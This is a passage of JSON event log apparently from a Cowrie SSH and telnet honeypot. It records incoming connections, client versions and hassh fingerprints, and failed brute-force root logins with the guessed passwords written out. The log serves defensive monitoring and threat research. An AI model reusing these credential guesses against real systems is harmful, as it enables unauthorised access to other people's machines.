bc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:12.567184Z","src_ip":"103.166.103.173","session":"609435cf128d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51026,"dst_ip":"10.17.0.5","dst_port":23,"session":"7149f0fe11f9","protocol":"telnet","message":"New connection: 192.119.13.58:51026 (10.17.0.5:23) [session: 7149f0fe11f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:13.462424Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig@12","message":"login attempt [root/K0nig@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:13.558171Z","src_ip":"103.166.103.173","session":"609435cf128d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:14.800926Z","src_ip":"103.166.103.173","session":"609435cf128d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.388413190841675,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:16.086978Z","src_ip":"192.119.13.58","session":"3f0075065b04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35178,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf919b62b25c","protocol":"telnet","message":"New connection: 192.119.13.58:35178 (10.17.0.5:23) [session: bf919b62b25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:16.601762Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60224,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ee043be2e7","protocol":"telnet","message":"New connection: 192.119.13.58:60224 (10.17.0.5:23) [session: 97ee043be2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:22.989286Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55418,"dst_ip":"10.17.0.5","dst_port":23,"session":"f464c998dfd3","protocol":"telnet","message":"New connection: 192.119.13.58:55418 (10.17.0.5:23) [session: f464c998dfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:28.948825Z"}
{"eventid":"cowrie.session.closed","duration":44.446139335632324,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:29.696257Z","src_ip":"192.119.13.58","session":"8be4acbb3149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60678,"dst_ip":"10.17.0.5","dst_port":23,"session":"b15db9c04015","protocol":"telnet","message":"New connection: 192.119.13.58:60678 (10.17.0.5:23) [session: b15db9c04015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:30.297314Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60922,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d5134ed8b7","protocol":"telnet","message":"New connection: 192.119.13.58:60922 (10.17.0.5:23) [session: d9d5134ed8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:30.343161Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":41188,"dst_ip":"10.17.0.5","dst_port":22,"session":"61af576780ca","protocol":"ssh","message":"New connection: 43.135.177.217:41188 (10.17.0.5:22) [session: 61af576780ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:31.741431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:31.745928Z","src_ip":"43.135.177.217","session":"61af576780ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:31.816658Z","src_ip":"43.135.177.217","session":"61af576780ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.6068997383117676,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:31.949963Z","src_ip":"192.119.13.58","session":"d9d5134ed8b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39254,"dst_ip":"10.17.0.5","dst_port":23,"session":"be73f5401de3","protocol":"telnet","message":"New connection: 192.119.13.58:39254 (10.17.0.5:23) [session: be73f5401de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:32.072675Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"llllllll","message":"login attempt [root/llllllll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:32.124396Z","src_ip":"43.135.177.217","session":"61af576780ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.531874656677246,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:32.829063Z","src_ip":"192.119.13.58","session":"b15db9c04015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:33.195927Z","src_ip":"43.135.177.217","session":"61af576780ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.17621040344238,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:37.430597Z","src_ip":"192.119.13.58","session":"22224e7d2ba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.04995059967041,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:37.832746Z","src_ip":"192.119.13.58","session":"3fc85a8dda33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.58379244804382,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:39.301459Z","src_ip":"192.119.13.58","session":"d6b37b51a5df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":43526,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ada3a37728","protocol":"ssh","message":"New connection: 43.135.129.144:43526 (159.203.135.109:22) [session: d3ada3a37728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:47.911741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:47.916758Z","src_ip":"43.135.129.144","session":"d3ada3a37728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:47.990940Z","src_ip":"43.135.129.144","session":"d3ada3a37728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hetzner","message":"login attempt [root/Hetzner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:48.299569Z","src_ip":"43.135.129.144","session":"d3ada3a37728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.66279125213623,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:49.264471Z","src_ip":"192.119.13.58","session":"bf919b62b25c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:49.371443Z","src_ip":"43.135.129.144","session":"d3ada3a37728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":34930,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9f6bffd6158","protocol":"ssh","message":"New connection: 176.65.148.108:34930 (159.203.135.109:22) [session: e9f6bffd6158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:49.906876Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:49.990518Z","src_ip":"176.65.148.108","session":"e9f6bffd6158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.53764247894287,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:49.999852Z","src_ip":"192.119.13.58","session":"7149f0fe11f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":34932,"dst_ip":"159.203.135.109","dst_port":22,"session":"9426677042c4","protocol":"ssh","message":"New connection: 176.65.148.108:34932 (159.203.135.109:22) [session: 9426677042c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:50.068816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:50.072320Z","src_ip":"176.65.148.108","session":"9426677042c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:50.153839Z","src_ip":"176.65.148.108","session":"9426677042c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51684,"dst_ip":"10.17.0.5","dst_port":23,"session":"d387797cffe6","protocol":"telnet","message":"New connection: 192.119.13.58:51684 (10.17.0.5:23) [session: d387797cffe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:50.287341Z"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"12345","message":"login attempt [aaa/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:50.413261Z","src_ip":"176.65.148.108","session":"9426677042c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:51.498849Z","src_ip":"176.65.148.108","session":"9426677042c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b2ac39b883b","protocol":"telnet","message":"New connection: 192.119.13.58:43974 (10.17.0.5:23) [session: 4b2ac39b883b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:55.729028Z"}
{"eventid":"cowrie.session.closed","duration":36.447840452194214,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:59.437018Z","src_ip":"192.119.13.58","session":"97ee043be2e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":55368,"dst_ip":"159.203.135.109","dst_port":22,"session":"b11a01397f95","protocol":"ssh","message":"New connection: 43.135.182.46:55368 (159.203.135.109:22) [session: b11a01397f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:00.722515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:00.729772Z","src_ip":"43.135.182.46","session":"b11a01397f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:00.799516Z","src_ip":"43.135.182.46","session":"b11a01397f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hanna","message":"login attempt [root/Hanna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:01.107850Z","src_ip":"43.135.182.46","session":"b11a01397f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:02.179820Z","src_ip":"43.135.182.46","session":"b11a01397f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":57676,"dst_ip":"10.17.0.5","dst_port":22,"session":"32e66a97c55b","protocol":"ssh","message":"New connection: 43.153.104.156:57676 (10.17.0.5:22) [session: 32e66a97c55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:05.562009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:05.574239Z","src_ip":"43.153.104.156","session":"32e66a97c55b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:05.646748Z","src_ip":"43.153.104.156","session":"32e66a97c55b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2026!","message":"login attempt [root/Welcome2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:05.949953Z","src_ip":"43.153.104.156","session":"32e66a97c55b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:07.024210Z","src_ip":"43.153.104.156","session":"32e66a97c55b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54522,"dst_ip":"10.17.0.5","dst_port":23,"session":"98e6fd28a197","protocol":"telnet","message":"New connection: 192.119.13.58:54522 (10.17.0.5:23) [session: 98e6fd28a197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:12.634280Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59298,"dst_ip":"10.17.0.5","dst_port":23,"session":"c01511c2ff23","protocol":"telnet","message":"New connection: 192.119.13.58:59298 (10.17.0.5:23) [session: c01511c2ff23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:13.790092Z"}
{"eventid":"cowrie.session.closed","duration":0.006649017333984375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:13.796597Z","src_ip":"192.119.13.58","session":"c01511c2ff23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.551525831222534,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:15.624093Z","src_ip":"192.119.13.58","session":"be73f5401de3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.5176944732666,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:16.466422Z","src_ip":"192.119.13.58","session":"f464c998dfd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44102,"dst_ip":"10.17.0.5","dst_port":23,"session":"4486f3f7b685","protocol":"telnet","message":"New connection: 192.119.13.58:44102 (10.17.0.5:23) [session: 4486f3f7b685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:17.006959Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33598,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e20d2460320","protocol":"telnet","message":"New connection: 192.119.13.58:33598 (10.17.0.5:23) [session: 6e20d2460320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:21.469548Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":59528,"dst_ip":"159.203.135.109","dst_port":22,"session":"447609e41442","protocol":"ssh","message":"New connection: 103.210.22.17:59528 (159.203.135.109:22) [session: 447609e41442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:26.045012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:26.052387Z","src_ip":"103.210.22.17","session":"447609e41442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57286,"dst_ip":"10.17.0.5","dst_port":22,"session":"29162714f9f2","protocol":"ssh","message":"New connection: 80.94.92.184:57286 (10.17.0.5:22) [session: 29162714f9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:28.831497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:28.891067Z","src_ip":"80.94.92.184","session":"29162714f9f2","protocol":"ssh"}
